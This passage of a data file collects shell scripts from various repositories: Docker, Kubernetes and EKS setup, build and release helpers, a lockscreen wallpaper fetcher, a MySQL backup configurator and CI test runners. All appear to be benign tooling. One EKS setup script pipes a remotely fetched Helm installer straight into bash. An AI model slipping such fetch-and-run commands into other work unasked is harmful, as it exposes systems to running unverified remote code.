then\n # if the current commit equals the version tag we have a release version\n echo $GIT_LATEST_VERSION\n exit\n else\n # otherwise we have modifications on top of the release\n GIT_COMMIT=$(git rev-parse --short=12 HEAD)\n\n # if the working directory has local modifications, we append an \n # \"+\" to the end of the commit hash\n if ! git diff-index --quiet HEAD --; then\n echo ${GIT_LATEST_VERSION}-git${GIT_COMMIT}+\n else\n echo ${GIT_LATEST_VERSION}-git${GIT_COMMIT}\n fi\n exit\n fi\nelse\n # If we don't have a tag, let's try the latest revision\n GIT_COMMIT=$(git rev-parse --short=12 HEAD)\n if [ $? -eq 0 ]; then\n echo git$GIT_COMMIT\n exit\n fi\nfi\n\n# We were unable to determine a version number, all checks failed\necho \"unknown\"\nexit 255"} {"text": "test/test-01.sh\n#!/bin/bash\n\nset -e\n\n# VERSION=$(cat ../version)\n\n# mkdir -p ./bin\n# cp ../bin/$VERSION/fcheck ./bin/fcheck\n\n# docker-compose build\n\n# rm -rf ./actual/*\n# rm -rf ./output/*\n\nrm -rf ./config/*\ncp ./test-01-config.toml ./config/config.toml\n\ndocker-compose up --exit-code-from fcheck || (echo \"docker-compose failed\" && exit 1)\n\ncp ./output/report.json ./output/report-01.json\n\nif [[ ! -f \"./actual/dogs.txt\" ]]; then\n echo \"./actual/dogs.txt is missing\"\n exit 1\nfi\nif [ $(cat ./expected/dogs.txt) != \"dogs\" ]; then\n echo \"dogs.txt are not Equal.\"\n exit 1\nfi\n\nif [[ ! -f \"./actual/cats.txt\" ]]; then\n echo \"./actual/cats.txt is missing\"\n exit 1\nfi\nif [ $(cat ./expected/cats.txt) != \"cats\" ]; then\n echo \"cats.txt are not Equal.\"\n exit 1\nfi\n\nif [[ ! -f \"./output/report-01.json\" ]]; then\n echo \"./output/report-01.json is missing\"\n exit 1\nfi\n# Check that the output report is correct - with jq\nOUT_REQ=$(cat output/report-01.json | jq -r .result)\nif [[ $OUT_REQ != \"success\" ]]; then\n echo \"./output/report-01.json .result should be success\"\n exit 1\nfi"} {"text": "lunchboxav/unveil-rs0\n#!/usr/bin/env bash\n\nset -ex\n\n# Build the demo presentation\nrm -rf demo/public"} {"text": "adrianmo/rpi-couchpotato-dockerbuild.sh0\n#!/usr/bin/env bash\ndocker build --rm --no-cache -t adrianmo/rpi-couchpotato ."} {"text": "#!/bin/sh\n\nset -e\n\n# Create dummy container.\ndocker create --name src -v /src alpine:3.4 /bin/true\n# Copy source code.\ndocker cp /molecube src:/src\n\n# Run command in source tree.\ndocker run --net=host --volumes-from src molecube \\\n /bin/sh -c \"cd /src/molecube && $@\"\n\n# Clean up.\ndocker rm src"} {"text": "cloud-init/build-main-silo.sh0\nlxc delete -f main-silo\nlxc profile set main-silo user.user-data - < main-silo.yml\nlxc launch ubuntu: main-silo -p main-silo"} {"text": "#!/usr/bin/env bash\n\n#\n# i3lock with Bing Wallpaper of the Day\n# .\n# March 19, 2021\n# WIP\n# TODO :\n# * Test, test, test !\n#\n# Source for failsafe wallpaper : https://wallhaven.cc/w/13w91g\n\n### Variables\ntoday=\"`date +%d%m%y`\"\n\nresolution=\"`xdpyinfo | awk '/dimensions/{print $2}'`\"\n\nbase_url=http://bing.com\napi_url=https://www.bing.com/HPImageArchive.aspx\\?\\&format\\=js\\&idx\\=0\\&mkt\\=en-US\\&n\\=1\napi_file=\"/tmp/bing_api_$today.json\"\n\nbkp_lockscreen=\"$PWD/bkp_lockscreen.png\"\n\n## Get API file locally to limit number of requests, if it fails, go to failsfe\nif [ ! -f \"$api_file\" ]; then\n\t curl -fso $api_file $api_url && :\nelse\n\t:\nfi\n\ndaily_suffix=\"`cat $api_file | jq -r '.images[]|.url'`\"\ncopyright=\"`cat -s $api_file | jq -r '.images[]|.copyright'`\"\n\nlockscreen=\"/tmp/bing_$today.png\"\n\n## Download image only if not already there otherwise\nif [ ! -f \"$lockscreen\" ]; then\n\tcurl -so /tmp/bing_$today.jpg $base_url$daily_suffix\nelse\n\ti3lock -i $lockscreen\n\t#echo \"lockscreen from cache\"\n\texit 0\nfi\n\n## Convert and add caption\nconvert /tmp/bing_$today.jpg -size 600x -background snow2 -fill gray44 -pointsize 24 caption:\"$copyright\" -gravity SouthEast -composite -scale $resolution $lockscreen\n\n## Set new lockscreen\ni3lock -i $lockscreen\n#echo \"new lockscreen\"\n\n## Clean up\nif [ -f \"/tmp/bing_$today.jpg\" ]; then\n\trm /tmp/bing_$today.jpg\nfi\nfind /tmp -iname \"bing_*\" -type f -mtime +1 -delete 2>/dev/null"} {"text": "scripts/compile.sh\n#!/usr/bin/env bash\nset -e\n\n\nREPO_ROOT=$(git rev-parse --show-toplevel)\nAPP=\"kafka-dump\"\nVERSION=$(git describe --tags --dirty)\nCOMMIT_HASH=$(git rev-parse --short HEAD 2>/dev/null)\nDATE=$(date \"+%Y-%m-%d\")\nBUILD_PLATFORM=$(uname -a | awk '{print tolower($1);}')\nIMPORT_DURING_SOLVE=${IMPORT_DURING_SOLVE:-false}\n\nif [[ \"$(pwd)\" != \"${REPO_ROOT}\" ]]; then\n echo \"you are not in the root of the repo\" 1>&2\n echo \"please cd to ${REPO_ROOT} before running this script\" 1>&2\n exit 1\nfi\n\nGO_BUILD_CMD=\"go build -a -installsuffix cgo\"\nGO_BUILD_LDFLAGS=\"-s -w -X main.commit=${COMMIT_HASH} -X main.date=${DATE} -X main.version=${VERSION}\"\n\nif [[ -z \"${BUILD_PLATFORMS}\" ]]; then\n BUILD_PLATFORMS=\"linux windows darwin\"\nfi\n\nif [[ -z \"${BUILD_ARCHS}\" ]]; then\n BUILD_ARCHS=\"amd64\"\nfi\n\nmkdir -p \"${REPO_ROOT}/release\"\n\nfor OS in ${BUILD_PLATFORMS[@]}; do\n for ARCH in ${BUILD_ARCHS[@]}; do\n NAME=\"${APP}-${OS}-${ARCH}\"\n if [[ \"${OS}\" == \"windows\" ]]; then\n NAME=\"${NAME}.exe\"\n fi\n \n \n if [[ \"${OS}\" == \"darwin\" && \"${BUILD_PLATFORM}\" == \"darwin\" ]]; then\n CGO_ENABLED=0\n else\n CGO_ENABLED=0\n fi\n if [[ \"${ARCH}\" == \"ppc64\" || \"${ARCH}\" == \"ppc64le\" ]] && [[ \"${OS}\" != \"linux\" ]]; then\n # ppc64 and ppc64le are only supported on Linux.\n echo \"Building for ${OS}/${ARCH} not supported.\"\n else\n echo \"Building for ${OS}/${ARCH} with CGO_ENABLED=${CGO_ENABLED}\"\n GOARCH=${ARCH} GOOS=${OS} CGO_ENABLED=${CGO_ENABLED} ${GO_BUILD_CMD} -ldflags \"${GO_BUILD_LDFLAGS}\"\\\n -o \"${REPO_ROOT}/release/${NAME}\"\n pushd \"${REPO_ROOT}/release\" > /dev/null\n shasum -a 256 \"${NAME}\" > \"${NAME}.sha256\"\n popd > /dev/null\n fi\n done\ndone"} {"text": "chuahou/dpkgsprepare.sh0\n#!/usr/bin/env bash\n# SPDX-License-Identifier: MIT\n# Copyright (c) 2020 \n#\n# Generic preparation script.\n#\n# Usage: ./prepare.sh \n#\n# Gets upstream of (based on the folder name) and prepares it\n# according to /prepare.sh, then prepares it for building in build/.\n\nset -e\n\nPACKAGE=$1\nGIT_TAG=$2\n\nmkdir -p build\n\nif [ ! -f $PACKAGE/.git ]; then\n\t# clone upstream if not a submodule\n\tUPSTREAM_URL=$(awk '/Homepage:/{print $2}' $PACKAGE/debian/control)\n\tgit clone --depth 1 --branch $GIT_TAG $UPSTREAM_URL build/$PACKAGE\n\n\t# copy debian folder over\n\tcp -r $PACKAGE/debian build/$PACKAGE\nelse\n\t# otherwise, just copy entire submodule over\n\tgit -C $PACKAGE checkout $GIT_TAG\n\tcp -r $PACKAGE build/$PACKAGE\nfi"} {"text": "0\nawk -F: '{ if( $1 == \"moon_pipe\" && $3 == \"pipe_test\" ){\n\tif( idarray[ $5 ] == \"\" ){ idarray[ $5 ] = $4 } print idarray[ $5 ]\":\"$0; \n}}' $1|sort -t: -k1,1n -k6,6 -k5,5n | cut -d: -f2- |awk -F: '{\nif( cur_id == \"\" || cur_id != $5 || pipe_free == 1 ){\nif( cur_id != \"\" ){\nprint cur_id\":pipe_new:\"pipe_new\":mutex_ref:\"mutex_ref\":pipe_init_done:\"pipe_init_done\":pipe_get_ref:\"pipe_get_ref\":del_mutex:\"del_mutex\":useing:\"useing\":pipe_ref:\"pipe_ref\":pipe_closed:\"pipe_closed\":pipe_free:\"pipe_free;}\npipe_new=0;\nmutex_ref=0;\npipe_init_done=0;\npipe_get_ref=0;\ndel_mutex=0;\nuseing=0;\npipe_ref=1;\npipe_closed=0;\npipe_free=0;\ncur_id = $5;}\nif( $6 == \"pipe_new\"){ pipe_new += $(6+1); if( !( 1 ) ){ print \"pipe_new error\"; exit 1 }}\nelse if( $6 == \"mutex_ref\"){ mutex_ref += $(6+1); if( !( 1 ) ){ print \"mutex_ref error\"; exit 1 }}\nelse if( $6 == \"pipe_ref\"){ pipe_ref += $(6+1); if( !( 1 ) ){ print \"pipe_ref error\"; exit 1 }}\nelse if( $6 == \"useing\"){ useing += $(6+1); if( !( 1 ) ){ print \"useing error\"; exit 1 }}\nelse if( $6 == \"pipe_free\"){ pipe_free += $(6+1); if( !( pipe_closed == 1 && pipe_ref == 0 ) ){ print \"pipe_free error\"; exit 1 }}\nelse if( $6 == \"pipe_get_ref\"){ pipe_get_ref += $(6+1); if( !( pipe_init_done == 1 ) ){ print \"pipe_get_ref error\"; exit 1 }}\nelse if( $6 == \"pipe_init_done\"){ pipe_init_done += $(6+1); if( !( pipe_new == 1 ) ){ print \"pipe_init_done error\"; exit 1 }}\nelse if( $6 == \"pipe_closed\"){ pipe_closed += $(6+1); if( !( useing == 0 ) ){ print \"pipe_closed error\"; exit 1 }}\nelse if( $6 == \"del_mutex\"){ del_mutex += $(6+1); if( !( mutex_ref == 0 && pipe_init_done == 1 ) ){ print \"del_mutex error\"; exit 1 }}\nelse {} }\nEND{\nprint cur_id\":pipe_new:\"pipe_new\":mutex_ref:\"mutex_ref\":pipe_init_done:\"pipe_init_done\":pipe_get_ref:\"pipe_get_ref\":del_mutex:\"del_mutex\":useing:\"useing\":pipe_ref:\"pipe_ref\":pipe_closed:\"pipe_closed\":pipe_free:\"pipe_free;}'"} {"text": "cd ~/MagicMirror\ncp config/config.model.js config/config.js\nsed '\ns|\"\\(.*\\)\"[[:blank:]]*:[[:blank:]]*\"\\(.*\\)\"|\\1\\\n\\2|\nh\ns|.*\\n||\ns|[\\&/]|\\\\&|g\nx\ns|\\n.*||\ns|[[\\.*^$/]|\\\\&|g\nG\ns|\\(.*\\)\\n\\(.*\\)|s/\\1/\\2/g|\n' config/dictionary.txt | sed -i -f - config/config.js\n\nDISPLAY=:0 npm start"} {"text": "#!/bin/bash\n \nDECODED=$(~/bitmark/src/bitmark-cli getrawtransaction \"$1\" 1)\n\n# RAWTX=$(~/bitmark/src/bitmark-cli getrawtransaction \"$1\" 1)\n\n#echo ${RAWTX}\n\n# DECODED=$(~/bitmark/src/bitmark-cli decoderawtransaction $RAWTX )\n\n\necho \"${DECODED}\""} {"text": "goshdarngames/js_sketches\n#!/bin/bash\n\nsketch_dir=~/Documents/GoshDarnGames/processing/p5js_sketches/sketches\ntemplate_dir=~/Documents/GoshDarnGames/processing/p5js_sketches/template\n\ndisplay_usage ()\n{\n printf \"\\n\"\n printf \"mk-sketch [name]\\n\"\n printf \"\\n\"\n}\n\nif [ $# -eq 0 ]\nthen\n display_usage\n exit 1\nfi\n\nif [ ! -d $sketch_dir ]\nthen\n printf \"$sketch_dir not found\\n\"\n exit 1\nfi\n\nif [ ! -d $template_dir ]\nthen\n printf \"$template_dir not found\\n\"\n exit 1\nfi\n\ncp -vr $template_dir $sketch_dir/$(date -I)-$1"} {"text": "#!/bin/bash\n\nkubectl delete -f mutatingwebhook-ca-bundle.yaml\nkubectl delete -f service.yaml\nkubectl delete -f deployment.yaml\nkubectl delete secret lxcfs-admission-webhook-certs"} {"text": "jgabrielfreitas/initialize-script\npython3 ~/git/ArthurBot/arthur.py"} {"text": "Anthodev/dockymfik-k8sstop.sh\n#!/bin/bash\n\nkubectl delete -f ./docker-app/docker-app-config.yml\nkubectl delete -f ./docker-app/docker-app-pvc.yml\nkubectl delete -f ./docker-app/docker-app-pv.yml\nkubectl delete -f ./docker-app/docker-db-config.yml\nkubectl delete -f ./docker-app/docker-db-pvc.yml\nkubectl delete -f ./docker-app/docker-db-pv.yml\nkubectl delete -f ./docker-network/traefik-service.yml\nkubectl delete -f ./docker-network/traefik-rbac.yml\nkubectl delete -f ./app-env-configmap.yml\nkubectl delete -f ./secrets.yml"} {"text": "xdd-7.0.0.rc-ramses3/tests/acceptance/test_xddmcp_too_large_thread_count.sh\n#!/bin/bash\n#\n# Test XDDMCP with thread count exceeding the limit\n#\nsource ./test_config\nsource $XDDTEST_TESTS_DIR/acceptance/common.sh\ninitialize_test\n\n#\n# Generate the source file and destination name\n# \ngenerate_source_file sfile $((1024*1024*768))\ngenerate_dest_filename dfile\n\n#\n# Move the file with a large thread count\n#\nxddmcp -v -t 128 $XDDTEST_E2E_SOURCE:$sfile $XDDTEST_E2E_DEST:$dfile\nif [ 1 != $? ]; then\n echo \"XDDMCP command did not detect invalid thread count\"\n finalize_test 1\nfi\nfinalize_test 0"} {"text": "1-10\n# https://developer.zendesk.com/rest_api/docs/core/organization_subscriptions#list-organization-subscriptions\nzdesk_organization_subscriptions_list () {\n method=GET\n url=/api/v2/organization_subscriptions.json\n}"} {"text": "#!/usr/bin/env bash\n\nAUTOMYSQLBACKUP_CONFIG_FILE=/etc/default/automysqlbackup\nMYSQL_CONFIG_FILE=/etc/mysql/debian.cnf\n\nsed -i -r \"s/BACKUPDIR=.*/BACKUPDIR=\\\"\\/backup\\\"/g\" $AUTOMYSQLBACKUP_CONFIG_FILE\n\necho \" * host: ${BACKUP_HOST}\"\nsed -i -r \"s/DBHOST=localhost/DBHOST=${BACKUP_HOST}/g\" $AUTOMYSQLBACKUP_CONFIG_FILE\n\necho \" * databases: ${BACKUP_DATABASES//,/ }\"\nif [[ ${BACKUP_DATABASES} = \"all\" ]]; then\n sed -i -r \"s/^DBNAMES=.*/DBNAMES=`mysql --defaults-file=/etc/mysql/debian.cnf --execute=\\\"SHOW DATABASES\\\" | awk '{print $1}' | grep -v ^Database$ | grep -v ^mysql$ | grep -v ^performance_schema$ | grep -v ^information_schema$ | tr \\\\\\r\\\\\\n ,\\ `/g\" $AUTOMYSQLBACKUP_CONFIG_FILE\nelse\n sed -i -r \"s/^DBNAMES=.*/DBNAMES=\\\"${BACKUP_DATABASES//,/ }\\\"/g\" $AUTOMYSQLBACKUP_CONFIG_FILE\nfi\n\necho \" * username: ${BACKUP_USERNAME}\"\necho -e \"[client]\\nuser = ${BACKUP_USERNAME}\\npassword = ${BACKUP_PASSWORD}\\nhost = ${BACKUP_HOST}\\nport = 3306\" > $MYSQL_CONFIG_FILE\n\n\necho \" * email: ${BACKUP_EMAIL}\"\nsed -i -r \"s/MAILADDR=.*/MAILADDR=${BACKUP_EMAIL}/g\" $AUTOMYSQLBACKUP_CONFIG_FILE"} {"text": "1-10\nset -ex\nROOT_MODULE=$1\nshift\ndocker run -it \\\n-v $(pwd):/go/src/github.com/mikhailadvani/terraform-workshop \\\n-w /go/src/github.com/mikhailadvani/terraform-workshop/$ROOT_MODULE \\\nmikhailadvani/terraform-workshop:latest \\\n$@"} {"text": "#!/bin/sh\nwrangler publish --env entered_space\nwrangler publish --env i_entered_space\nwrangler publish --env i-illegally_entered_space\nwrangler publish --env going-g_host\nwrangler publish --env leeks_life\nwrangler publish --env indexoutofboundsexception_at\nwrangler publish --env kitchengun_rocks"} {"text": "scripts/setup-r.sh0\n## Step 1: Setting Up APT\nsudo sh -c 'echo \"deb http://cran.rstudio.com/bin/linux/ubuntu trusty/\" >> /etc/apt/sources.list'\ngpg --keyserver keyserver.ubuntu.com --recv-key E084DAB9\ngpg -a --export E084DAB9 | sudo apt-key add -\n\n##Step 2: Installing R\nsudo apt-get update\n\nsudo apt-get -y install -f r-base\n\n##Step 3: Installing R Packages from CRAN\nsudo su - -c \"R -e \\\"install.packages('shiny', repos = 'http://cran.rstudio.com/')\\\"\"\n\n##Step 4: Step 4 — Installing devtools Package\nsudo apt-get -y install libcurl4-gnutls-dev libxml2-dev libssl-dev\nsudo su - -c \"R -e \\\"install.packages('devtools', repos='http://cran.rstudio.com/')\\\"\""} {"text": "#!/bin/bash\n\necho \"Install Eksctl for Creating Clusters ...\" && sleep 1\ncurl --silent --location \"https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz\" | tar xz -C /tmp\nsudo mv -v /tmp/eksctl /usr/local/bin\neksctl version\nprintf \"\\n\"\n\necho \"Install Kubectl for Managing Workloads ...\" && sleep 1\nsudo curl --silent --location -o /usr/local/bin/kubectl \\\nhttps://amazon-eks.s3.us-west-2.amazonaws.com/1.19.6/2021-01-05/bin/linux/amd64/kubectl\nsudo chmod +x /usr/local/bin/kubectl\nkubectl version\nprintf \"\\n\"\n\necho \"Install Helm 3 for Kubernetes Package Management ...\" && sleep 1\ncurl https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 | bash\nprintf \"\\n\"\n\necho \"Install Additional Helper Tools ...\" && sleep 1\nkubectl completion bash >> ~/.bash_completion\n. ~/.bash_completion\neksctl completion bash >> ~/.bash_completion\n. ~/.bash_completion\nfor command in kubectl jq envsubst aws eksctl kubectl helm\ndo\n which $command &>/dev/null && echo \"$command in path\" || echo \"$command NOT FOUND\"\ndone\nprintf \"\\n\"\n\necho \"Create EKS Cluster Configuration File - airports.yaml ...\" && sleep 1\n. ~/.bash_profile\ncat << EOF > airports.yaml\n---\napiVersion: eksctl.io/v1alpha5\nkind: ClusterConfig\n\n# cluster configuration metadata\nmetadata:\n name: airports\n region: ${AWS_REGION}\n version: \"1.19\"\n\n# availability zones for deployment\navailabilityZones: [\"${AWS_REGION}a\", \"${AWS_REGION}b\", \"${AWS_REGION}c\"]\n\n# add general and intensive managed node groups\nmanagedNodeGroups:\n- name: nodegroup\n desiredCapacity: 3\n ssh:\n allow: true\n publicKeyName: eks-workshop\n\n# configure irsa for kubernetes cluster - service accounts \niam:\n withOIDC: true\n serviceAccounts:\n - metadata:\n name: aws-load-balancer-controller\n namespace: kube-system\n wellKnownPolicies:\n awsLoadBalancerController: true\n - metadata:\n name: ebs-csi-controller-sa\n namespace: kube-system\n wellKnownPolicies:\n ebsCSIController: true\n - metadata:\n name: efs-csi-controller-sa\n namespace: kube-system\n wellKnownPolicies:\n efsCSIController: true\n - metadata:\n name: external-dns\n namespace: kube-system\n wellKnownPolicies:\n externalDNS: true\n - metadata:\n name: cert-manager\n namespace: cert-manager\n wellKnownPolicies:\n certManager: true\n - metadata:\n name: cluster-autoscaler\n namespace: kube-system\n labels: {aws-usage: \"cluster-ops\"}\n wellKnownPolicies:\n autoScaler: true\n - metadata:\n name: build-service\n wellKnownPolicies:\n imageBuilder: true\nEOF"} {"text": "docker/components/alpinevpn/entrypoint.sh1-10\n#!/bin/ash\n\n# Create tun interface if necessary\n[ -d /dev/net ] || mkdir -p /dev/net\n[ -c /dev/net/tun ] || mknod /dev/net/tun c 10 200\n\nwhile true\ndo \n openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun --auth none\ndone >> /home/root/udp1194.log &\ntail -F /home/root/udp1194.log"} {"text": "#!/bin/bash\n\nbash --version | grep \"version 4\" > /dev/null\nif [ $? -eq 0 ]\nthen\n NPMSCRIPTEXEC_PATH=\"$(dirname ${BASH_SOURCE[0]})\"\n\n command_not_found_handle() {\n $NPMSCRIPTEXEC_PATH/find-npm-script.sh $1\n if [ $? -eq 127 ]\n then\n echo \"bash: $1: command not found\"\n exit 127 2> /dev/null\n fi\n }\nelse\n BASH_VERSION=$(bash --version | head -n 1 | cut -d ' ' -f 4)\n echo \"ERROR\"\n echo \"You have an old version of bash (\\\"$BASH_VERSION\\\" which is below version 4.X) which is not supported at this moment\"\n echo \"If you know a way to get command_not_found_handle to work in versions below 4, please let me know\"\n echo \"https://github.com/victorbjelkholm/npm-scripts-exec/issues/new\"\nfi"} {"text": "h4570/armnas\n#! /bin/bash\n# .\ncd /var/www/armnas/backend/WebApi\nif lsof -ti tcp:5070; then\n lsof -ti tcp:5070 | xargs kill\nfi\nnohup /home/armnas/.dotnet/dotnet WebApi.dll --urls=http://0.0.0.0:5070/ > webapi.log 2>&1 &\necho $! > webapi.pid"} {"text": "CFLAGS=\"-I. -I${PREFIX}/include -L${PREFIX}/lib\" PREFIX=${PREFIX} make install"} {"text": "0\n#!/usr/bin/env bash\n\n# This script documents how to build the singularity container\n# from the Dockerfile\n\n\n# exit on errors\ntrap 'exit' ERR\n\n\n# build docker container\ndocker build -t vcfsort .\n\n# docker registry server to host docker image locally\n# do nothing if running, otherwise try to start registry or create registry\n[ $(docker inspect -f '{{.State.Running}}' registry) == \"true\" ] \\\n || docker container start registry \\\n || docker run -d -p 5000:5000 --restart=always --name registry registry:2\n\n# push image to local registry\ndocker tag vcfsort localhost:5000/vcfsort\ndocker push localhost:5000/vcfsort\n\n# create a temporary singularity def file\ndeclare -r TMPFILE=\"$(mktemp --suffix 'singularity.def')\"\ncat > \"$TMPFILE\" << EOI\nBootstrap: docker\nRegistry: localhost:5000\nNamespace:\nFrom: vcfsort:latest\nEOI\n# build singularity image\nSINGULARITY_NOHTTPS=1 singularity build singularity/vcfsort.sif \"$TMPFILE\"\n\n# remove temp file\nrm -f \"$TMPFILE\"\n\n# stop registry server\ndocker container stop registry"} {"text": "1-10\n#!/bin/bash\n\n#GETS AND PARSES COURSES\n\n# $1 - access token\n# $2 - domain\n# $3 - timestamp\n\n#RUNNING CURL \n#WE NEED QUERY AS FOLLOWING EXAMPLE\n#WE NEED TO RUN SIMPLE QUERY curl -H \"Authorization: Bearer \" \" + \" > \n#EXAMPLE (NOT REAL TOKEN)\n#curl -H \"Authorization: Bearer 45745745~njshfg767BHFgui\" \"https://uts-dev.instructure.com/api/v1/courses>\" > courses.json\n#CURL WILL USE ACCESS_TOKEN AND DOMAIN VARIABLES\n#THE OUTCOME WILL BE STORES IN A .json FILE\n\n#USED API QUERIES:\n#/api/v1/courses\n\nmkdir -p $3\necho\necho \"GETTING COURSES...\"\ncurl -s -H \"Authorization: Bearer $1\" \"$2/courses?per_page=100\" > $3/courses.json\necho \"COURSES ARE DOWNLOADED\"\necho\n\n#AFTER WE HAVE JSON FILE FROM CANVAS WE NEED ALL AVAILABLE COURSE IDS\n#PARSE COURSE.JSON FOR ALL COURSES IDS\n\nwhile IFS='' read -n1 line || [[ -n \"$line\" ]]; do\n\techo -n \"\" > $3/course_ids.txt\n\twhile read -n1 line; do\n\t\tif [ \"$line\" = \"i\" ] && [ \"$prevprev\" = \"{\" ]\n\t\t\tthen\n\t\t\tread -n3 line\n\t\t\tif [ \"$line\" = \"d\\\":\" ]\n\t\t\tthen\n\t\t\t\tre=\"^[0-9]+$\"\n\t\t\t\tread -n1 line\n\t\t\t\twhile [[ $line =~ $re ]]; do\n\t\t\t\t\techo -n \"$line\" >> $3/course_ids.txt\n\t\t\t\t\tread -n1 line\n\t\t\t\tdone\n\t\t\t\techo >> $3/course_ids.txt\n\t\t\tfi\n\t\tfi\n\t\tprevprev=$prev\n\t\tprev=$line\n\tdone\ndone < \"$3/courses.json\""} {"text": "#!/usr/bin/env bash\n\ndocker-machine create --driver azure --azure-subscription-id $AZURE_SUBSCRIPTION_ID --azure-resource-group $AZURE_RESOURCE_GROUP $AZURE_MACHINE_NAME"} {"text": "leezu/nxparser\n#!/bin/bash\n\n# Clean release configuration created before\nmvn release:clean\n\n# Release\nmvn release:prepare\n\n# Release with skipped tests\n#mvn release:prepare -Darguments=\"-DskipTests\"\n\n# Release with skipped tests and snapshot dependencies allowed\n#mvn release:prepare -Darguments=\"-DskipTests\" -DignoreSnapshots\n\n# Release to maven central\nmvn release:perform\n\n# Clean release configuration\nmvn release:clean"} {"text": "1-10\npython3 -m venv venv\nsource venv/bin/activate\npip install --upgrade pip\npip install -r requirements.txt\npython -m bash_kernel.install"} {"text": "test::func_explode() {\n local values=()\n local actual=''\n\n func::explode values ' ' 'abc def ghi'\n func::implode actual ',' values\n EXPECT_EQ 'abc,def,ghi' \"${actual}\"\n\n func::explode values 'xyz' $'ab\\ncxyzde\\tfxyzxyzgh i'\n func::implode actual ',' values\n EXPECT_EQ $'ab\\nc,de\\tf,,gh i' \"${actual}\"\n\n func::explode values ' ' ''\n func::implode actual ',' values\n EXPECT_EQ '' \"${actual}\"\n EXPECT_EQ 1 \"${#values[*]}\"\n\n func::explode values ' ' ' '\n func::implode actual ',' values\n EXPECT_EQ ',' \"${actual}\"\n EXPECT_EQ 2 \"${#values[*]}\"\n\n func::explode values ';' '\\\\;*;?;'\n func::implode actual ',' values\n EXPECT_EQ '\\\\,*,?,' \"${actual}\"\n}"} {"text": "#!/bin/bash\n\nset -ex\n\necho '==================================> BEFORE_INSTALL'\n\nif [ \"$DRONE_BEFORE_INSTALL\" = \"gcc11\" ]; then\n wget http://kayari.org/gcc-latest/gcc-latest.deb\n sudo dpkg -i gcc-latest.deb\n export PATH=/opt/gcc-latest/bin:$PATH\n export LD_RUN_PATH=/opt/gcc-latest/lib64\nfi\n\necho '==================================> INSTALL'\n\ngit clone https://github.com/boostorg/boost-ci.git boost-ci-cloned --depth 1\ncp -prf boost-ci-cloned/ci .\nrm -rf boost-ci-cloned\n# source ci/travis/install.sh\n# The contents of install.sh below:\n\nif [ \"$DRONE_STAGE_OS\" = \"darwin\" ]; then\n unset -f cd\nfi\n\nexport SELF=`basename $DRONE_REPO`\nexport BOOST_CI_TARGET_BRANCH=\"$DRONE_COMMIT_BRANCH\"\nexport BOOST_CI_SRC_FOLDER=$(pwd)\n\n. ./ci/common_install.sh\n\necho '==================================> COMPILE'\n\n$BOOST_ROOT/libs/$SELF/ci/travis/build.sh"} {"text": "test -z $VERSION && echo \"Environment VERSION is not set. You must set the version, eg. v0.0.2 to release\" && exit 1\n\ngit add --all\ngit commit\ngit tag $VERSION\ngit push origin master --tags"} {"text": "#!/usr/bin/env bash\n\ndocker pull quay.io/prometheus/prometheus:main # Change to beta.\ndocker pull quay.io/thanos/thanos:v0.21.0\n\nmkdir /root/editor"} {"text": "#!/bin/sh\n#\n# This script re-compiles swagger-ui.js and builds the documentation site.\n#\n# Prerequisites:\n# * npm\n# * jekyll\n#\n# For further information have a look at this knowledge base article in the build (_site) folder:\n# /knowledge-base/freme-for-developers/maintaining-the-documentation-project.html\n\n\ncd swagger/_swagger-ui\n# do this just one time:\n#npm install\nnpm run build\ncp dist/swagger-ui.js ..\ncp dist/swagger-ui.min.js ..\ncd ../..\njekyll build #or use: jekyll serve"} {"text": "#!/bin/sh\ndataset=\"MNLI\"\ntask=\"${dataset~~}\"\n\n# python ../../utils/download_glue_data.py --data_dir data/\n\n\npython ../text-classification/run_glue.py \\\n\t--model_name_or_path bert-base-uncased \\\n\t--task_name $dataset \\\n\t--do_train \\\n\t--do_eval \\\n\t--data_dir data/$dataset/ \\\n\t--max_seq_length 128 \\\n\t--per_device_train_batch_size 32 \\\n\t--learning_rate 2e-5 \\\n\t--num_train_epochs 3.0 \\\n\t--output_dir output/$dataset/ \\\n\t--cache_dir cache/$dataset/ \\\n\t--save_steps 10000 \\"} {"text": "tests/scripts/testcases_run.sh\n#!/bin/bash\r\nset -euxo pipefail\r\n\r\necho \"CI_JOB_NAME is $CI_JOB_NAME\"\r\n\r\nif [[ \"$CI_JOB_NAME\" =~ \"upgrade\" ]]; then\r\n if [ \"${UPGRADE_TEST}\" == \"false\" ]; then\r\n echo \"Job name contains 'upgrade', but UPGRADE_TEST='false'\"\r\n exit 1\r\n fi\r\nelse\r\n if [ \"${UPGRADE_TEST}\" != \"false\" ]; then\r\n echo \"UPGRADE_TEST!='false', but job names does not contain 'upgrade'\"\r\n exit 1\r\n fi\r\nfi\r\n\r\n\r\nexport ANSIBLE_REMOTE_USER=$SSH_USER\r\nexport ANSIBLE_BECOME=true\r\nexport ANSIBLE_BECOME_USER=root\r\n\r\ncd tests && make create-${CI_PLATFORM} -s ; cd -\r\nansible-playbook tests/cloud_playbooks/wait-for-ssh.yml\r\n\r\n# Flatcar Container Linux needs auto update disabled\r\nif [[ \"$CI_JOB_NAME\" =~ \"coreos\" ]]; then\r\n ansible all -m raw -a 'systemctl disable locksmithd'\r\n ansible all -m raw -a 'systemctl stop locksmithd'\r\n mkdir -p /opt/bin && ln -s /usr/bin/python /opt/bin/python\r\nfi\r\n\r\nif [[ \"$CI_JOB_NAME\" =~ \"opensuse\" ]]; then\r\n # OpenSUSE needs netconfig update to get correct resolv.conf\r\n # See https://goinggnu.wordpress.com/2013/10/14/how-to-fix-the-dns-in-opensuse-13-1/\r\n ansible all -m raw -a 'netconfig update -f'\r\n # Auto import repo keys\r\n ansible all -m raw -a 'zypper --gpg-auto-import-keys refresh'\r\nfi\r\n\r\n# Check out latest tag if testing upgrade\r\ntest \"${UPGRADE_TEST}\" != \"false\" && git fetch --all && git checkout \"$KUBESPRAY_VERSION\"\r\n# Checkout the CI vars file so it is available\r\ntest \"${UPGRADE_TEST}\" != \"false\" && git checkout \"${CI_BUILD_REF}\" tests/files/${CI_JOB_NAME}.yml\r\ntest \"${UPGRADE_TEST}\" != \"false\" && git checkout \"${CI_BUILD_REF}\" ${CI_TEST_REGISTRY_MIRROR}\r\n\r\n# Install mitogen ansible plugin\r\nif [ \"${MITOGEN_ENABLE}\" = \"true\" ]; then\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} mitogen.yml\r\n export ANSIBLE_STRATEGY=mitogen_linear\r\n export 